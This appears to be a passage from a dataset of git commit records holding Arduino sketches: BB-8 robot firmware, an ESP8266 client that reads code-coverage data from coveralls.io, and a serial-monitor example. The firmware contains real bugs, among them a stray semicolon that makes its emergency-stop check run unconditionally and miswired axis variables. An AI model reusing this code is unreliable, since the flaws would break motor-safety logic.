yok = false;\nbool zok = false;\n\nlong intX = 0;\nlong intY = 0; \n\nbool production = false;\nbool LED_PING = false;\nbool BOOT = false;\n\nbool enMotAB = false;\nbool enMotXY = false;\nbool enMotZ = false;\n\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nunsigned long previousMillisZ = 0;\nunsigned long previousMillisA = 0;\nunsigned long previousMillisB = 0;\nunsigned long currentA = 0;\nunsigned long currentB = 0;\n\nunsigned long trigGyro = 100;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n \/\/ PINMODE\n pinMode( pinEnableAB , OUTPUT );\n pinMode( pinEnableXY , OUTPUT );\n pinMode( pinEnableZ , OUTPUT );\n pinMode( pinDirX , OUTPUT );\n pinMode( pinStepX , OUTPUT );\n pinMode( pinDirY , OUTPUT );\n pinMode( pinStepY , OUTPUT );\n pinMode( pinDirA , OUTPUT );\n pinMode( pinStepA , OUTPUT );\n pinMode( pinDirB , OUTPUT );\n pinMode( pinStepB , OUTPUT );\n pinMode( PING , OUTPUT );\n \n pinMode( Z_POSITION , INPUT );\n \n \/\/ SERIAL\n Serial.begin(9600);\n\n \/\/ Blabla, blablabla\n Serial.println(\"==================================================\");\n Serial.println(\" _______ ______ _ _ ______ ____ ______ \"); \n Serial.println(\" (____ (____ ) | | | |\/ ___ |(____|______)\");\n Serial.println(\" ____) )____) )__| | | | | | | | | | | \"); \n Serial.println(\" | __ (| __ (___) | | | | | | | | | | \");\n Serial.println(\" | |__) ) |__) ) | |___| | | | |_| |_ | | \");\n Serial.println(\" |______\/|______\/ |______\/|_| |_(_____) |_| \");\n Serial.println(\" _ Astromech Industrie _ \");\n Serial.println(\" > https:\/\/github.com\/Gruniek\/BB-UNIT < \");\n Serial.println(\" > http:\/\/r2builders.fr\/ < \");\n Serial.print(\" FIRMWARE VERSION : \");\n Serial.print(version);\n Serial.println(\" \");\n Serial.println(\"==================================================\");\n \n Serial.println(\" \");\n Serial.println(\"[1]-Booting up...\");\n \n \/\/ Start of the I2C protocol\n Serial.print(\"[2]-Initializing I2C devices... I2C ADRESS :\");\n Serial.print(adress);\n Wire.begin(adress);\n \n \/\/ Start the MPU6050 Gyroscope\n Serial.print(\"[3]-Connect to the MPU6050 : \");\n accelgyro.initialize();\n \/\/Serial.println(accelgyro.testConnection());\n Serial.println(accelgyro.testConnection() ? \"Connection successful\" : \"Connection failed\");\n \n \/\/ Start the RF24 Radio controll\n Serial.println(\"[4]-Initializing RF24 devices... \");\n radio.begin();\n radio.openReadingPipe(0, 00001);\n radio.startListening();\n \t\n \/\/ END OF BOOT\/SETUP\n Serial.println(\"====================\"); \n Serial.println(\"Booting successful !\");\n Serial.println(\"====================\");\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro) \n {\n \ttrigG = currentG;\n \n \/\/ GET MOTION\n \/\/-------------------------------------------------------------------------\/\/ \n \taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\tif(invertXY)\n\t{\n\t y = (((ax\/180)+etalonX)+90);\n \t x = (((ay\/180)+etalonY)+90);\n\t}\n\telse\n\t{\n\t x = (((ax\/180)+etalonX)+90);\n \t y = (((ay\/180)+etalonY)+90);\n\t}\n }\n \n \/\/ GET SERIAL AND RF24 DATA\n \/\/-------------------------------------------------------------------------\/\/\n\t \n char msg[64];\n if (Serial.available() > 0)\n {\n \tSerial.readBytesUntil('\\n', msg, sizeof msg);\n \tnewData = true;\n }\n\t\n if (radio.available())\n {\n \tchar msg[64] = {0};\n \tradio.read(&msg, sizeof(msg));\n \tnewData = true;\n }\n\t\n if(newData)\n {\n\tSerial.println(msg);\n\tnewData = false;\n\t\t\n \tif (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n \t{\n Serial.println(\"UPDATE SETPOINT\");\n \t \/\/ trouv\u00e9 le message\n \t char *p;\n \t while ((p = strtok(NULL, \" \")) != NULL)\n \t {\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n\t\t case 'x': setpointX = val; break;\n \t case 'y': setpointY = val; break;\n \t \t case 'm': multiplier = val; break;\n \t\t case 'i': invertXY = val; break;\n \t\t case 'j': invertX = val; break;\n \t\t case 'k': invertX = val; break;\n \t\t case 'h': hysteresis = val; break;\n \t}\n \t }\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n \t{\n Serial.println(\"ROll BB-8 ROLL !\");\n \t production = true;\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n \t{\n \t Serial.println(\"STOP\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"RESET\") == 0)\n \t{\n \t Serial.println(\"RESET\");\n \t production = false;\n \t emgStop = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"BOOT\") == 0)\n \t{\t\n \t BOOT = true;\n \t Serial.println(\"BOOTING UP...\");\n \t delay(2000);\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"ROTATE\") == 0) \/\/ ROTATE d1 s100 <-- Rotate Z right, 18c\/sec\n \t{\n \t \/\/ trouv\u00e9 le message\n \t char *p;\n \t while ((p = strtok(NULL, \" \")) != NULL)\n \t {\n int val = atoi(p + 1);\n \t switch (*p)\n \t {\n \t case 'd': directZ = val; break;\n \t case 's': speedZ = val; break;\n }\n }\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"MOVE\") == 0)\n \t{\n Serial.println(\"UPDATE SETPOINT\");\n \t \/\/ trouv\u00e9 le message\n \t char *p;\n \t while ((p = strtok(NULL, \" \")) != NULL)\n \t {\n int val = atoi(p + 1);\n \tswitch (*p)\n \t{\n \t case 'a': speedA = val; break;\n \t case 'b': speedB = val; break;\n \t \t case 'c': dirA = val; break;\n \t\t case 'd': dirB = val; break;\n \t}\n \t }\n }\n \t\n \tif (strcmp(strtok(msg, \" \"), \"ENABLE\") == 0)\n \t{\n \t \/\/Serial.println(\"UPDATE SETPOINT\");\n \t \/\/ trouv\u00e9 le message\n \t char *p;\n \t while ((p = strtok(NULL, \" \")) != NULL)\n \t {\n \t int val = atoi(p + 1);\n \tswitch (*p)\n \t{\n \t case 'a': enMotAB = val; break;\n \t case 'x': enMotXY = val; break;\n \t\t case 'z': enMotZ = val; break;\n \t}\n \t }\n \t}\n \t\n }\n \n digitalWrite(pinEnableAB, enMotAB);\n digitalWrite(pinEnableXY, enMotXY);\n digitalWrite(pinEnableZ, enMotZ);\n \n if(BOOT)\n {\n \tenMotAB = true;\n \tenMotXY = true;\n \tenMotZ = true;\n \t\n \t\/\/ SET X IN POSITION\n \tif(x < 90) directX = false;\n \telse directX = true;\n \n \tif(invertX) \n \t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t}\n \tdigitalWrite(pinDirX, directX); \/\/ dirX\n \t\t\n \tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis ))\n \t{\n \t digitalWrite(pinStepX, 1);\n delayMicroseconds( 500 );\n \t digitalWrite(pinStepX, 0);\n \t delayMicroseconds( 500 );\n \t}\n \telse\n \t{\n \t if(!xok) \n {\n \t Serial.println(\"BOOT x1 \");\n \t\txok = true;\n \t\tdelay(2000);\n \t }\n \t}\n \t\t\n \/\/ SET Y IN POSITION\n \tif(y < 90) directY = false;\n \telse directY = true;\n \n\tif(invertY) \n \t{\n \t if(directY) directY = false;\n \t else directY = true;\n \t}\n \tdigitalWrite(pinDirY, directY); \/\/ dirX\n \t\t\n \tif(x > (setpointY + hysteresis) || (y < setpointY - hysteresis ))\n \t{\n \t digitalWrite(pinStepY, 1);\n delayMicroseconds( 500 );\n \t digitalWrite(pinStepY, 0);\n \t delayMicroseconds( 500 );\n }\n \telse\n \t{\n \t if(!yok) \n \t {\n \t\tSerial.println(\"BOOT y1 \");\n \t\tyok = true;\n \t\tdelay(2000);\n \t }\n \t}\n \t\t\n \t\/\/ SET Z IN POSITION\n \tif(!Z_POSITION)\n \t{\n \t digitalWrite(pinStepZ, 1);\n delayMicroseconds( 500 );\n \t digitalWrite(pinStepZ, 0);\n \t delayMicroseconds( 500 );\t\n \t}\n \telse\n \t{\n \t if(!zok) \n \t {\n \t Serial.println(\"BOOT z1 \");\n \t\tzok = true;\n \t\tZangle = 0;\n \t\tdelay(2000);\n \t }\t\n \t}\n \t\t\n \tif( xok && yok && zok)\n \t{\n\t Serial.println(\"STAT b1 \");\n \t Serial.println(\"Booting UP OK!\");\n \t Serial.println(\"SEND 'RUN \\n' for start the production\");\n \t BOOT = false;\n \t}\n }\n \n \/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/ \n if(production && !emgStop) \/\/-\n {\n \tenMotAB = true;\n \tenMotXY = true;\n \tenMotZ = true;\n \t\n \t\/\/======================================================================\n \t\/\/ d8888 \n \t\/\/ d88888 \n \t\/\/\td88P888 \n \t\/\/ d88P 888 \n \t\/\/ d88P 888 \n \t\/\/ d88P 888 \n \t\/\/ d8888888888 \n\t\/\/ d88P 888\n\t\/\/======================================================================\n \t\/\/ MOTOR A (Left)\n \t\n\t\/\/ Run the motor\n\tif(speedA > 0) runA = true;\n\telse runA = false;\n\tspeedA = 1000 \/ speedA;\n\t\t\n\t\/\/ Motor direction \/ With inversion\n\tif(invertA) \n \t{\n \t if(dirA) dirA = false;\n\t else dirA = true;\n\t}\n\tdigitalWrite(pinDirA, dirA); \/\/ Set the direction\n\t\t\n\t\/\/ Send Step inpultion to the motor\n\tunsigned long currentA = millis(); \/\/ millis();\n\tif (currentA - previousMillisA >= speedA) \n\t{\n\t previousMillisA = currentA;\n\t \n\t if(runA)\n\t {\n\t digitalWrite(pinStepA, 1);\n\t delayMicroseconds( 500 );\n\t digitalWrite(pinStepA, 0);\n\t delayMicroseconds( 500 );\n\t }\n\t} \n\t \t\n \t\/\/======================================================================\n\t\/\/ 888888b. \n\t\/\/ 888 \"88b \n\t\/\/ 888 .88P \n\t\/\/ 8888888K. \n\t\/\/ 888 \"Y88b \n\t\/\/ 888 888 \n\t\/\/ 888 d88P \n\t\/\/ 8888888P\" \n\t\/\/======================================================================\t\n\t\/\/ MOTOR B (Right)\n\t\t\n\t\/\/ Run the motor\n\tif(speedB > 0) runB = true;\n\telse runB = false;\n\tspeedB = 1000 \/ speedB;\n\t\n\t\/\/ Motor direction \/ With inversion\n\tif(invertB) \n \t{\n\t if(dirB) dirB = false;\n\t else dirB = true;\n\t}\n\tdigitalWrite(pinDirB, dirB); \/\/ Set the direction\n\t\t\n\t\/\/ Send Step inpultion to the motor\n\tunsigned long currentB = millis(); \/\/ millis();\n\tif (currentB - previousMillisB >= speedB) \n\t{\n\t previousMillisB = currentB;\n\t \n\t if(runB)\n\t {\n\t digitalWrite(pinStepB, 1);\n\t delayMicroseconds( 500 );\n\t digitalWrite(pinStepB, 0);\n\t delayMicroseconds( 500 );\n\t }\n\t} \n\n \t\/\/======================================================================\n \/\/ Y88b d88P \n\t\/\/ Y88b d88P \n\t\/\/ Y88o88P \n\t\/\/ Y888P \n\t\/\/ d888b \n\t\/\/ d88888b \n\t\/\/ d88P Y88b \n\t\/\/ d88P Y88b \n\t\/\/======================================================================\n \n\t\/\/ Direction\n \tif(x < 90) directX = false;\n \telse directX = true;\n \n \tif(invertX) \n \t{\n \t if(directX) directX = false;\n \t else directX = true;\n \t}\n \tdigitalWrite(pinDirX, directX); \/\/ dirX\n \n \t\/\/ Si ont doit demarer le moteur\n \tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis )) \n \t{ \n \t if(x > minX && x < maxX) runX = true; \n \t else runX = false;\n \t}\n \telse runX = false;\n \n \t\/\/ Calcul du PID X\n \tif(x < 90) vx = (90 - x); \n \tif(x == 0) vx = 0;\n \tif(x > 90) vx = (x - 90);\n \n \tspeedX = 1000 \/ (vx);\n \tspeedX = speedX * multiplier; \/\/ DEL\n \tif(speedX < 15) speedX = 15;\n \n\t\/\/ Mise en route du moteur\n \tunsigned long currentX = millis();\n \t\t\n \tif (currentX - previousMillisX >= speedX) \n \t{\n \t previousMillisX = currentX;\n\n\t if(runX)\n \t {\n digitalWrite(pinStepX, 1);\n \tdelayMicroseconds( 500 );\n \tdigitalWrite(pinStepX, 0);\n \t \tdelayMicroseconds( 500 );\n }\n \t}\n\n \t\/\/======================================================================\n\t\/\/ Y88b d88P \n\t\/\/ Y88b d88P \n \t\/\/ Y88o88P \n \t\/\/ Y888P \n \t\/\/ 888 \n \t\/\/ 888 \n \/\/ 888 \n \/\/ 888 \n\t\/\/======================================================================\n\t\n\t\/\/ Direction\n \tif(y < 90) directY = false;\n \telse directY = true;\n \tif(invertY) \n \t{\n \t if(directY) directY = false;\n \t else directY = true;\n \t}\n \tdigitalWrite(pinDirY, directY);\n \n\t\/\/ Si ont doit demarer le moteur\n \tif(y > (setpointY + hysteresis) || (y < setpointY - hysteresis )) \n \t{ \n \t if(y > minY && y < maxY) runY = true; \n \t else runY = false;\n \t}\n \telse runY = false;\n \n \t\/\/ Calcul du PID Y\n \tif(y < 90) vy = (90 - y); \n \tif(y == 0) vy = 0;\n \tif(y > 90) vy = (y - 90);\n \n \tspeedY = 1000 \/ (vy);\n \tspeedY = speedY * multiplier; \/\/ DEL\n \tif(speedY < 15) speedY = 15;\n \n\t\/\/ Mise en route du moteur\n \tunsigned long currentY = millis(); \/\/ millis();\n\n \tif (currentY - previousMillisY >= speedY) \n \t{\n \t previousMillisY = currentY;\n \n if(runY)\n \t {\n \tdigitalWrite(pinStepY, 1);\n \tdelayMicroseconds( 500 );\n \tdigitalWrite(pinStepY, 0);\n \tdelayMicroseconds( 500 );\n }\n \t} \n \n \t\/\/======================================================================\n\t\/\/ 8888888888P \n \/\/ d88P \n \/\/ d88P \n \t\/\/ d88P \n \/\/ d88P \n \/\/ d88P \n \/\/ d88P \n \/\/ d8888888888 \n\t\/\/====================================================================== \t\t\n\t\t\n\tdigitalWrite(pinDirZ, directZ);\n\tif(speedZ != 0)\n \t{\n \t unsigned long currentZ = millis();\n \t\t\n\t if (currentZ - previousMillisZ >= speedZ) \n \t {\n \t\tpreviousMillisZ = currentZ;\n \n\t\tdigitalWrite(pinStepY, 1);\n \t \tdelayMicroseconds( 500 );\n \t \tdigitalWrite(pinStepY, 0);\n \t \tdelayMicroseconds( 500 );\n \t \tif(directZ) Zangle++;\n \t \telse Zangle--;\n \t } \n \t}\n \t\n\tif(Zangle == 201) Zangle = 0;\n \tif(Zangle == -1) Zangle = 0;\n\t \n }\n\n \/\/ TRIGGER \/ SEC\n \/\/-------------------------------------------------------------------------\/\/ \n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec) \n {\n \ttrigS = currentS;\n \t\n \t\/\/ PING\n \tif(LED_PING) LED_PING = false;\n \telse LED_PING = true;\n \tdigitalWrite(PING, LED_PING);\n \t\n\t\/\/ IF THE MPU6050 ARE ALWAYS CONNECTED, IF NOT, HE RECONNECT AUTOMATICLY\n \tif(!accelgyro.testConnection());\n \t{\n \t production = false;\n \t emgStop = true;\n \t accelgyro.initialize();\n \t if(accelgyro.testConnection())\n \t {\n \t\tproduction = true;\n \t }\n \t}\n \t\n \t\/*\n \t\n \t\/\/ SEND STATUT\n \tSerial.print(\"STAT x\");\n \tSerial.print(x);\n \tSerial.print(\" y\");\n \tSerial.print(y);\n \tSerial.print(\" i\");\n \tSerial.print(invertXY);\n \tSerial.print(\" j\");\n \tSerial.print(invertX);\n \tSerial.print(\" k\");\n \tSerial.print(invertY);\n \tSerial.print(\" m\");\n \tSerial.print(multiplier);\n \tSerial.print(\" z\");\n \tSerial.print(Zangle);\n \t\n \tSerial.println(\" \");\n \t\n \t*\/\n } \/\/ ENF OF PRODUCTION\n} \/\/ END OF LOOP\n\n\/\/ VOID FOR TAKE THE CURRENT\nint current(int Cpin)\n{\n int mVperAmp = 185; \/\/ use 100 for 20A Module and 66 for 30A Module\n int RawValue= 0;\n int ACSoffset = 2500; \n double Voltage = 0;\n double Amps = 0;\n\n RawValue = analogRead(Cpin);\n Voltage = (RawValue \/ 1024.0) * 5000; \/\/ Gets you mV\n Amps = ((Voltage - ACSoffset) \/ mVperAmp);\n \n return(Amps);\n}\n\n\/\/ VOID FOR TAKE THE BATTERY VOLTAGE\nint voltage(int Vpin)\n{\n float vout = 0.0;\n float vin = 0.0;\n float R1 = 100000.0; \/\/ resistance of R1 (100K) -see text!\n float R2 = 10000.0; \/\/ resistance of R2 (10K) - see text!\n int value = 0;\n\n value = analogRead(Vpin);\n vout = (value * 5.0) \/ 1024.0;\n vin = vout \/ (R2\/(R1+R2)); \n if (vin<0.09) vin=0.0;\n \n return(vin);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/BB-UNIT\/BB-UNIT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"134ae2dfef0c3ab6e78c02939a02b44db051bed9","subject":"added config file generator","message":"added config file generator\n","repos":"fega\/arduair,fega\/arduair","old_file":"src-arduino\/component tests\/Write_config_file\/Write_config_file.ino","new_file":"src-arduino\/component tests\/Write_config_file\/Write_config_file.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src-arduino\/component' did not match any file(s) known to git\nerror: pathspec 'tests\/Write_config_file\/Write_config_file.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5cd2268e341f4ba36397724ce11be1b8571e65f8","subject":"Added basic https request and fingerprint for wemos d1 led project","message":"Added basic https request and fingerprint for wemos d1 led project\n","repos":"Branimir123\/PhotoLife,Branimir123\/PhotoLife,Branimir123\/PhotoLife","old_file":"WemosD1-CodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip.ino","new_file":"WemosD1-CodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip.ino","new_contents":"\/*\n * This is arduino client that changes LED stripe colors according to percentage of code coverage.\n * For now the colors would change every 10%, so in total 10 different colors.\n * \n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include<ArduinoJson.h>\n\n#define BLUEPIN 13\n#define GREENPIN 12\n#define REDPIN 14 \n\nconst char* ssid = \"NotYourWiFi\";\nconst char* password = \"bananana\";\n\nconst char* host = \"coveralls.io\";\nconst int httpsPort = 443;\n\n\/\/ SHA1 fingerprint of the certificate\nconst char* fingerprint = \"6D A8 77 AB 48 93 2B 81 4B 93 6C 3E 53 54 8B 1A FC 61 1C 05\";\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println();\n Serial.print(\"connecting to \");\n Serial.println(ssid);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n \/\/ Use WiFiClientSecure class to create TLS connection\n WiFiClientSecure client;\n Serial.print(\"connecting to \");\n Serial.println(host);\n if (!client.connect(host, httpsPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n if (client.verify(fingerprint, host)) {\n Serial.println(\"certificate matches\");\n } else {\n Serial.println(\"certificate doesn't match\");\n }\n\n String url = \"\/github\/Branimir123\/PhotoLife.json\";\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" +\n \"User-Agent: BuildFailureDetectorESP8266\\r\\n\" +\n \"Connection: close\\r\\n\\r\\n\");\n\n Serial.println(\"request sent\");\n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n if (line == \"\\r\") {\n Serial.println(\"headers received\");\n break;\n }\n }\n String line = client.readStringUntil('\\n');\n Serial.println(\"reply was:\");\n Serial.println(\"==========\");\n Serial.println(line);\n\n char jsonArray[500];\n strncpy(jsonArray, line.c_str(), sizeof(jsonArray));\n jsonArray[sizeof(jsonArray) - 1] = 0;\n \n StaticJsonBuffer<500> jsonBuffer;\n \n JsonObject& root = jsonBuffer.parseObject(jsonArray);\n\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n return;\n }\n \n double percentage = root[\"covered_percent\"];\n \n Serial.println(\"==========\");\n Serial.println(percentage);\n Serial.println(\"==========\");\n Serial.println(\"closing connection\");\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WemosD1-CodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip\/CoverallsCodeCoverageLEDStrip.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b90fa98144ff9c6d20355f754b85b95a4f9ff38","subject":"add serialMonitor example","message":"add serialMonitor example\n","repos":"AprilBrother\/BLEPad_UART","old_file":"examples\/serialMonitor\/serialMonitor.ino","new_file":"examples\/serialMonitor\/serialMonitor.ino","new_contents":"String tmp; \n\nint wakeup_pin =8;\nint config_pin =5;\nint change_pin =11;\nvoid setup() {\n Serial.begin(19200);\n Serial1.begin(19200);\n\n while (!Serial);\n Serial.println(\"hello!\");\n \n pinMode(wakeup_pin, OUTPUT);\n pinMode(config_pin, OUTPUT);\n pinMode(change_pin, OUTPUT);\n \n digitalWrite(wakeup_pin, LOW);\n \/\/delay(50);\n digitalWrite(config_pin, HIGH);\n \/\/delay(50);\n digitalWrite(change_pin, LOW);\n};\n\nvoid loop() {\n\n while (Serial1.available() > 0) {\n tmp += char(Serial1.read());\n delay(2);\n }\n\n if(tmp.length() > 0) {\n Serial.println(tmp);\n \/\/ Serial.println(\"\\r\\n\");\n tmp = \"\";\n }\n\n if (Serial.available()) {\n Serial1.write(Serial.read());\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/serialMonitor\/serialMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c1b60191b0c453b3ec8f2e6ae790d280a251baf","subject":"Updated comments in keyboard reprogram","message":"Updated comments in keyboard reprogram\n","repos":"radut\/Arduino,byran\/Arduino,raimohanska\/Arduino,paulmand3l\/Arduino,ricklon\/Arduino,myrtleTree33\/Arduino,01org\/Arduino,gestrem\/Arduino,karlitxo\/Arduino,tommyli2014\/Arduino,HCastano\/Arduino,nandojve\/Arduino,OpenDevice\/Arduino,wdoganowski\/Arduino,danielchalef\/Arduino,plinioseniore\/Arduino,gestrem\/Arduino,Alfredynho\/AgroSis,niggor\/Arduino_cc,tomkrus007\/Arduino,bigjosh\/Arduino,lukeWal\/Arduino,381426068\/Arduino,eduardocasarin\/Arduino,wdoganowski\/Arduino,zaiexx\/Arduino,fungxu\/Arduino,PeterVH\/Arduino,shannonshsu\/Arduino,ari-analytics\/Arduino,Cloudino\/Arduino,jaimemaretoli\/Arduino,nandojve\/Arduino,henningpohl\/Arduino,zederson\/Arduino,danielchalef\/Arduino,stevemayhew\/Arduino,me-no-dev\/Arduino-1,ari-analytics\/Arduino,kidswong999\/Arduino,jmgonzalez00449\/Arduino,garci66\/Arduino,stevemarple\/Arduino-org,niggor\/Arduino_cc,talhaburak\/Arduino,tskurauskas\/Arduino,smily77\/Arduino,steamboating\/Arduino,NaSymbol\/Arduino,wilhelmryan\/Arduino,wdoganowski\/Arduino,Gourav2906\/Arduino,damellis\/Arduino,talhaburak\/Arduino,stevemarple\/Arduino-org,andrealmeidadomingues\/Arduino,scdls\/Arduino,gberl001\/Arduino,EmuxEvans\/Arduino,aichi\/Arduino-2,steamboating\/Arduino,adamkh\/Arduino,steamboating\/Arduino,EmuxEvans\/Arduino,koltegirish\/Arduino,eddyst\/Arduino-SourceCode,eeijcea\/Arduino-1,ms-iot\/Arduino,KlaasDeNys\/Arduino,snargledorf\/Arduino,stevemarple\/Arduino-org,me-no-dev\/Arduino-1,PaoloP74\/Arduino,arduino-org\/Arduino,niggor\/Arduino_cc,ari-analytics\/Arduino,danielchalef\/Arduino,linino\/Arduino,jabezGit\/Arduino,NeuralSpaz\/Arduino,drpjk\/Arduino,tommyli2014\/Arduino,plinioseniore\/Arduino,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,aichi\/Arduino-2,SmartArduino\/Arduino-1,piersoft\/esp8266-Arduino,sanyaade-iot\/Arduino-1,PaoloP74\/Arduino,ikbelkirasan\/Arduino,gestrem\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,wayoda\/Arduino,chaveiro\/Arduino,wdoganowski\/Arduino,Orthogonal-Systems\/arduino-libs,bigjosh\/Arduino,zederson\/Arduino,plaintea\/esp8266-Arduino,zenmanenergy\/Arduino,vbextreme\/Arduino,xxxajk\/Arduino-1,Alfredynho\/AgroSis,andyvand\/Arduino-1,drpjk\/Arduino,adamkh\/Arduino,Protoneer\/Arduino,mangelajo\/Arduino,probonopd\/Arduino,stevemayhew\/Arduino,OpenDevice\/Arduino,stevemarple\/Arduino-org,wayoda\/Arduino,shiitakeo\/Arduino,wilhelmryan\/Arduino,Alfredynho\/AgroSis,rcook\/DesignLab,vbextreme\/Arduino,mangelajo\/Arduino,cscenter\/Arduino,paulo-raca\/ESP8266-Arduino,koltegirish\/Arduino,zaiexx\/Arduino,ashwin713\/Arduino,zenmanenergy\/Arduino,PeterVH\/Arduino,mboufos\/esp8266-Arduino,steamboating\/Arduino,gberl001\/Arduino,shannonshsu\/Arduino,spapadim\/Arduino,ogferreiro\/Arduino,ms-iot\/Arduino,PeterVH\/Arduino,radut\/Arduino,PaoloP74\/Arduino,paulo-raca\/ESP8266-Arduino,henningpohl\/Arduino,rodibot\/Arduino,aichi\/Arduino-2,ForestNymph\/Arduino_sources,ssvs111\/Arduino,pdNor\/Arduino,mateuszdw\/Arduino,radut\/Arduino,Ramoonus\/Arduino,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,jabezGit\/Arduino,superboonie\/Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,spapadim\/Arduino,mangelajo\/Arduino,me-no-dev\/Arduino-1,noahchense\/Arduino-1,bugobliterator\/BUAGI,Gourav2906\/Arduino,mangelajo\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,eeijcea\/Arduino-1,superboonie\/Arduino,jaimemaretoli\/Arduino,snargledorf\/Arduino,lulufei\/Arduino,eggfly\/arduino,wilhelmryan\/Arduino,PaoloP74\/Arduino,probonopd\/Arduino,nkolban\/Arduino,leftbrainstrain\/Arduino-ESP8266,piersoft\/esp8266-Arduino,bugobliterator\/BUAGI,tbowmo\/Arduino,garci66\/Arduino,wilhelmryan\/Arduino,ricklon\/Arduino,fungxu\/Arduino,ricklon\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ogferreiro\/Arduino,SmartArduino\/Arduino-1,ogferreiro\/Arduino,jaehong\/Xmegaduino,championswimmer\/Arduino,jmgonzalez00449\/Arduino,vbextreme\/Arduino,rcook\/DesignLab,wilhelmryan\/Arduino,piersoft\/esp8266-Arduino,byran\/Arduino,superboonie\/Arduino,adamkh\/Arduino,shannonshsu\/Arduino,wayoda\/Arduino,scdls\/Arduino,odbol\/Arduino,probonopd\/Arduino,bsmr-arduino\/Arduino,ari-analytics\/Arduino,aichi\/Arduino-2,tannewt\/Arduino,jaej-dev\/Arduino,gberl001\/Arduino,gurbrinder\/Arduino,mateuszdw\/Arduino,Ramoonus\/Arduino,niggor\/Arduino_cc,benwolfe\/esp8266-Arduino,jamesrob4\/Arduino,smily77\/Arduino,Cloudino\/Cloudino-Arduino-IDE,damellis\/Arduino,probonopd\/Arduino,ssvs111\/Arduino,ForestNymph\/Arduino_sources,andrealmeidadomingues\/Arduino,chaveiro\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,NeuralSpaz\/Arduino,ari-analytics\/Arduino,ogahara\/Arduino,raimohanska\/Arduino,Protoneer\/Arduino,wayoda\/Arduino,tommyli2014\/Arduino,ogahara\/Arduino,stickbreaker\/Arduino,ektor5\/Arduino,jaimemaretoli\/Arduino,eggfly\/arduino,paulmand3l\/Arduino,ms-iot\/Arduino,sanyaade-iot\/Arduino-1,arunkuttiyara\/Arduino,eduardocasarin\/Arduino,stevemayhew\/Arduino,Ramoonus\/Arduino,jaej-dev\/Arduino,jamesrob4\/Arduino,talhaburak\/Arduino,SmartArduino\/Arduino-1,jmgonzalez00449\/Arduino,niggor\/Arduino_cc,mattvenn\/Arduino,Cloudino\/Arduino,bsmr-arduino\/Arduino,plaintea\/esp8266-Arduino,bsmr-arduino\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,OpenDevice\/Arduino,ashwin713\/Arduino,andrealmeidadomingues\/Arduino,shiitakeo\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,ccoenen\/Arduino,probonopd\/Arduino,stevemayhew\/Arduino,adamkh\/Arduino,lukeWal\/Arduino,henningpohl\/Arduino,rodibot\/Arduino,paulo-raca\/ESP8266-Arduino,weera00\/Arduino,Protoneer\/Arduino,HCastano\/Arduino,stickbreaker\/Arduino,HCastano\/Arduino,stickbreaker\/Arduino,jaej-dev\/Arduino,koltegirish\/Arduino,NicoHood\/Arduino,jaimemaretoli\/Arduino,Gourav2906\/Arduino,ikbelkirasan\/Arduino,Alfredynho\/AgroSis,niggor\/Arduino_cc,scdls\/Arduino,Protoneer\/Arduino,snargledorf\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Chris--A\/Arduino,cscenter\/Arduino,myrtleTree33\/Arduino,ricklon\/Arduino,tommyli2014\/Arduino,bugobliterator\/BUAGI,cco